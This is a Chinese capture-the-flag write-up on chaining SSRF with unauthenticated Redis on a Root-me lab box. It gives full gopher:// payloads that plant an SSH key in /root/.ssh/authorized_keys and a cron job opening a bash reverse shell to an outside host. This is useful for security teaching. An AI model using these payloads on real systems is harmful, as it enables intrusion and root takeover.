Root me CTF all the day靶场ssrf+redis漏洞
Rootme CTF all the day靶场ssrf+redis漏洞
- 一、环境介绍
 - 1、漏洞地址
 - 2、漏洞介绍
 
- 二、 搭建环境
 - 三、测试过程
 - 3.1 读取系统文件
 - 3.2 探测开放的服务器端口(dict协议)
 - 3.3 redis未授权访问
 - 3.3.1 利用redis来写ssh密钥(gopher协议写入)
 - 3.3.2 利用redis写定时任务来反弹shell(gopher协议写入)
 
一、环境介绍
1、漏洞地址
https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/
2、漏洞介绍
SSRF+redis 获取内网主机权限,利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的
二、 搭建环境
首先需要创建账号,点击右上的绿色小加号来创建账号,创建完成后回到此页面。找到一个处于none的虚拟机,点击房间名,如下的ctf12
 
 然后进入之后选择需要创建的虚拟机,选择SSRF Box,点击保存,选择start the game。选择完成之后需要加载(等待一会)然后访问 ctf12.root-me.org 就可以看到启动的虚拟环境了(如下图)
 
三、测试过程
访问ctf12.root-me.org

 在页面的输入框中输入百度地址后,会把百度首页加载进来。
 
 
3.1 读取系统文件
1、可以在输入框中随便输一个url,抓包,然后把包发送到Repeater模块,把url后面的内容修改为 file://…/…/…/etc/passwd,来读取该文件
 
3.2 探测开放的服务器端口(dict协议)
dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令
 注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。
首先将包发送到Intruder模块,爆破端口,端口开放显示为OK,没有开放显示为Connection refused。

 这里我们已经知道是6379端口了,所以为了不浪费时间,区间就设置为6000-7000
 
 端口没有开放显示(如下图)

 端口开放显示(如下图)

 发现6379端口,判断redis服务有无身份验证,发现redis存在未授权访问

3.3 redis未授权访问
3.3.1 利用redis来写ssh密钥(gopher协议写入)
此处利用ssh生成一对公私钥,生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器即可。我们利用redis把目录设置为ssh目录下:根据网上写密钥有两种协议可以使用,一种是dict,一种是gopher。测试使用dict协议写不成功,写入后不能连接,此处使用gopher写密钥。
 原始payload为:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$576%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
 
原始内容为:
gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$576ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
 
进行写入操作,对_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$576%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a这部分url编码方可成功
编码后playload:
gopher://127.0.0.1:6379/_*3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%24576%250d%250a%250a%250a%250assh-rsa+AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y%2ffKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0%2fLa%2bPOIyRRVRld%2b8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL%2fw2xWLexSQAYUQ9mflz4qluV%2b%2fM4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh%2f3HDpwXlsVXc2%2bm9Nyxalh4qeGFVG%2fFso7APhVcAfhA3lkNOTwySk%2bsss6JE2ic3slvIO2zXj1wI%2fIHMPXNb2nhnVW%2bWRSDp9OAcDxdLTJK0k2pVlq2yi%2fdWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt%2fOBlMKrGnroZj%2bw9scuie5OxDy%2f7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS%2fyEnIo5Y9IIQJNuOvs%3d+root%40mk50%250a%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2411%250d%250a%2froot%2f.ssh%2f%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%2415%250d%250aauthorized_keys%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a
 

 查看是否写入的成功 ,可以看到成功写入公钥

 然后就可以使用vps进行ssh登录到目标机器上
ssh -i /root/.ssh/id_rsa root@ip
 
3.3.2 利用redis写定时任务来反弹shell(gopher协议写入)
要用到一台外网主机,然后使用nc做端口监听。
 原始payload:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/外网IP/8888 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
 
原始内容为:
*3
$3
set
$3
ttt
$69*/1 * * * * bash -i >& /dev/tcp/外网IP/8888  0>&1*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
 
进行写入操作,发现没有写入成功。原因在于:curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode;

 对_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/外网IP/8888 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a这部分进行url编码后进行发包,可以成功看到4个ok,说明四条语句均执行成功
url编码后playload为:
gopher://127.0.0.1:6379/_*3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2461%250d%250a%250a%250a%250a*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.182.131%2f8888+0%3e%261%250a%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a
 

 等待1分钟,Vps成功接收到回连的shell(这里我的可能出了问题,借用大佬的图片)
 
 查看写入的key

 可以看到确实成功写入到了redis中,但就是我的vps连不上。

 到此结束!
相关文章:
Root me CTF all the day靶场ssrf+redis漏洞
Rootme CTF all the day靶场ssrfredis漏洞 一、环境介绍1、漏洞地址2、漏洞介绍 二、 搭建环境三、测试过程3.1 读取系统文件3.2 探测开放的服务器端口(dict协议)3.3 redis未授权访问3.3.1 利用redis来写ssh密钥(gopher协议写入)3.3.2 利用redis写定时任…...
C#中Json序列化的进阶用法
本文所有json序列化,都使用的Newtonsoft.Json包 1 JsonIgnore 在 Newtonsoft.Json 中,如果你不想将某些属性转换为 JSON 字符串,可以使用多种方法来实现。以下是几种常见的方法: 1.1 使用 [JsonIgnore] 特性 [JsonIgnore] 特性…...
IO相关的常用工具包
常用工具包Commons-io Commons-io是apache开源基金组织提供的一组有关IO操作的开源工具包。 作用:提高IO流的开发效率。 使用步骤: 1、在项目中创建一个文件夹:lib 2、将jar包复制粘贴到lib文件夹 3、右键点击jar包,选择Add as Library--->点击OK …...
Spring Boot集成RBloomFilter快速入门Demo
在大数据处理和缓存优化的场景中,布隆过滤器(Bloom Filter)因其高效的空间利用和快速的查询性能而被广泛应用。RBloomFilter是布隆过滤器的一种实现,通常用于判断一个元素是否存在于一个集合中,尽管它存在一定的误判率…...
布局性能优化
布局使用不当回导致卡顿、掉帧、响应慢等问题 一、布局流程 1、应用侧会根据前端UI描述创建后端的页面节点树,其中包含了处理UI组件属性更新、布局测算、事件处理等逻辑 2、页面节点树创建完成后,UI线程会对每个元素进行测算(Measure&#…...
智云人才推荐与管理系统
1.产品介绍 产品名称:智云人才推荐与管理系统 主要功能: 智能人才匹配引擎 功能描述:利用先进的人工智能算法,根据企业岗位需求(如技能要求、工作经验、教育背景等)自动从海量人才库中筛选并推荐最合适的…...
git在远程分支上新建分支
需求: 在远程分支release/test的基础上创建一个新的分支test_20241009 确保本地仓库的信息是最新的 git fetch origin执行了 git fetch,本地仓库已经包含了 origin/release/test 的最新信息。当基于这个远程跟踪分支创建新分支时,会得到一个包…...
用Python实现的高校教师资格考试题库程序
最近朋友参加了高校教师资格考试,在考试前需要刷题来保证通过。但是教资网站上的题库只有接近考试才更新,并且官方题库的刷题效率还是有点低。 👆官方题库的样子 于是想到了是否能够将官方题库内容记录下来,然后自己创建一个高效…...
OpenVINO基本操作流程
环境配置: conda env list:可以查看有哪些环境 conda activate intel:启动某个环境 pip list:可以查看此环境下都下载了哪些软件包 from openvino.inference_engine import IEcore#从OpenVINO推理引擎中导入IECore类 import numpy as np import cv2 1&…...
Spring MVC 注解详解:@RequestBody,@RequestParam 和 @PathVariable
Spring MVC 提供了一系列注解,用于简化请求数据的获取和处理。了解并掌握这些注解的使用,对于开发RESTful API和处理HTTP请求至关重要。本文将详细介绍 RequestBody,RequestParam 和 PathVariable 注解,并附带具体的代码示例&…...
MySQL 8 中的 sql_mode
MySQL 8 中的 sql_mode 设置:提升数据库安全性与性能 在现代数据库管理中,MySQL 是一个广泛使用的开源关系型数据库。随着数据的增长和复杂性增加,良好的数据库配置显得尤为重要。sql_mode 是 MySQL 提供的一个强大功能,它可以帮…...
13种pod的状态
13种pod的状态 生命周期 Pending:Pod被创建后进入调度阶段,k8s调度器依据pod声明的资源请求量和调度规则,为pod挑选一个适合运行的节点。当集群节点不满足pod调度需求时,pod将会处于pending状态。Running:Pod被调度到节点上,k8s将pod调度到节点上后,进入running状态。S…...
2025考研今天开始预报名!攻略请查收
2025年全国硕士研究生招生考试 今天起开始预报名 有什么流程?需要准备哪些信息? 这份考研报名攻略速查收 ↓↓↓ 全国硕士研究生招生考试报名包括网上报名和网上确认两个阶段: 网上预报名时间为10月9日至10月12日(每日9࿱…...
JS中的Promise经典题目解析
这段代码很有代表性,涵盖了多个 JavaScript 知识点,特别是不同异步操作的执行优先级。 async function async1() {console.log(async1 start);await async2();console.log(async1 end); }async function async2() {console.log(async2); }console.log(s…...
【机器学习】金融预测 —— 风险管理与股市预测
我的主页:2的n次方_ 在金融领域,机器学习(ML)已经成为了不可或缺的工具。金融预测,尤其是风险管理和股市预测,涉及海量数据和复杂模式的分析,而这些正是机器学习擅长处理的领域。通过分析历…...
Bootstrap 5 分页组件使用教程
Bootstrap 5 分页组件使用教程 引言 Bootstrap 5 是一个流行的前端框架,它提供了一套丰富的组件和工具,用于快速开发响应式和移动优先的网页。分页组件是 Bootstrap 5 中用于分割长列表或数据集的重要部分,它可以帮助用户更容易地浏览内容。本文将详细介绍如何在您的项目中…...
Linux 安装 NVM 并配置 npm 加速,开发 node 项目不再愁
由于需要在 linux 机器上完成 node 项目的构建,需要安装 nodejs, 想着不同项目需要使用不同的版本,索性安装一下 nvm 吧,因为之前在 windows 上已经安装过 nvm-windows, 应该很容易上手,我尝试了官网提供的几种方式,最…...
MySQL 多条件查询
在 MySQL 中,多条件查询通常使用 WHERE 子句来指定多个条件。这些条件可以通过逻辑运算符(如 AND、OR、NOT)进行组合,以实现复杂的查询需求。以下是一些常见的多条件查询示例: 使用 AND 运算符 AND 运算符用于组合多…...
深度学习模型
1. 引言 在过去的十年间,深度学习的崛起引发了人工智能领域的革命,深刻影响了多个行业。深度学习是一种模仿人脑神经元的工作方式,通过多层神经网络进行数据处理与特征学习。其应用范围从简单的图像识别到复杂的自然语言处理、自动驾驶和医疗…...
Nexpose 6.6.271 发布下载,新增功能概览
Nexpose 6.6.271 for Linux & Windows - 漏洞扫描 Rapid7 Vulnerability Management, release Sep 26, 2024 请访问原文链接:https://sysin.org/blog/nexpose-6/,查看最新版。原创作品,转载请保留出处。 作者主页:sysin.or…...
7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...
Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器
第一章 引言:语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域,文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量,支撑着搜索引擎、推荐系统、…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
在Ubuntu中设置开机自动运行(sudo)指令的指南
在Ubuntu系统中,有时需要在系统启动时自动执行某些命令,特别是需要 sudo权限的指令。为了实现这一功能,可以使用多种方法,包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法,并提供…...
Element Plus 表单(el-form)中关于正整数输入的校验规则
目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入(联动)2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
vulnyx Blogger writeup
信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面,gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress,说明目标所使用的cms是wordpress,访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...
倒装芯片凸点成型工艺
UBM(Under Bump Metallization)与Bump(焊球)形成工艺流程。我们可以将整张流程图分为三大阶段来理解: 🔧 一、UBM(Under Bump Metallization)工艺流程(黄色区域ÿ…...
用 Rust 重写 Linux 内核模块实战:迈向安全内核的新篇章
用 Rust 重写 Linux 内核模块实战:迈向安全内核的新篇章 摘要: 操作系统内核的安全性、稳定性至关重要。传统 Linux 内核模块开发长期依赖于 C 语言,受限于 C 语言本身的内存安全和并发安全问题,开发复杂模块极易引入难以…...
李沐--动手学深度学习--GRU
1.GRU从零开始实现 #9.1.2GRU从零开始实现 import torch from torch import nn from d2l import torch as d2l#首先读取 8.5节中使用的时间机器数据集 batch_size,num_steps 32,35 train_iter,vocab d2l.load_data_time_machine(batch_size,num_steps) #初始化模型参数 def …...
